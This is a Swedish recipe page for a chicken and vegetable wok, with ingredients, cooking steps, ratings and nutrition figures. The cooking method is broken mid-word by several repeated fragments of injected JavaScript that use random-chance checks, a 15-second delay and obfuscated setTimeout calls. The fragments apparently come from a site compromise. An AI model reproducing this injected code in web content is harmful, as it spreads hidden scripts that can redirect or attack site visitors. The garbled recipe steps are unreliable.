Kycklingwok med grönsaker

2013-08-11
kycklingwok
  • Prep Time : 0m
  • Cook Time : 0m
  • Ready In : 0m

En het och mycket god wok som funkar både till lunch och middag. Tack för receptet Frida Ljungstedt.

Ingredienser

  • 125 gram kycklingbröst
  • 1/2 tsk olja
  • 1/2 purjolök
  • 40 g skivadechampinjoner
  • ½ röd paprika/li>
  • 1 hackad vitlöksklyfta
  • 1 tsk kycklingfond
  • 1 tsk kinesisk soja
  • ½–1 tsksambal oelek
  • 1 tsk maizena
  • 1½ dl kokt fullkornsris

Gör så här:

Fräs ett strimlat kycklingbröst (125 g) i 1/2 tsk olja
ca 5 min. Tillsätt 1/2 purjolök i sneda skivor, 40 g skivadechampinjoner, ½ röd paprika i bitar, 1 hackad vitlöksklyfta och låt fräsa med ett par min.

Blandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}a samman ½ dl vatten, 1 tsk kycklingfond, 1 tsk kinesisk soja, ½–1 tsksambal oelek och 1 tsk maizena. Rör ner blandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}ningen i pannan och låt puttra ett par min. Servera med 1½ dl kokt fullkornsris.

Medlemsbetyg

(5 / 5)

5 5 3
Betygsätt recept

3 people rated this recipe

Related Recipes:
  • IMG_3735

    Stark kalorisnål wok med shiratakinudlar

  • pangasiusfilé

    Pangasiusfilé med blomkålsmos och knaprig bacon

  • eec60b86d5b311e29caa22000a1f96f6_7

    Krämig kycklingwok

Näringssinnehåll

Informationen gäller per portion

  • Protein

    17
  • kCal

    279

Recipe Comments

Comments are closed.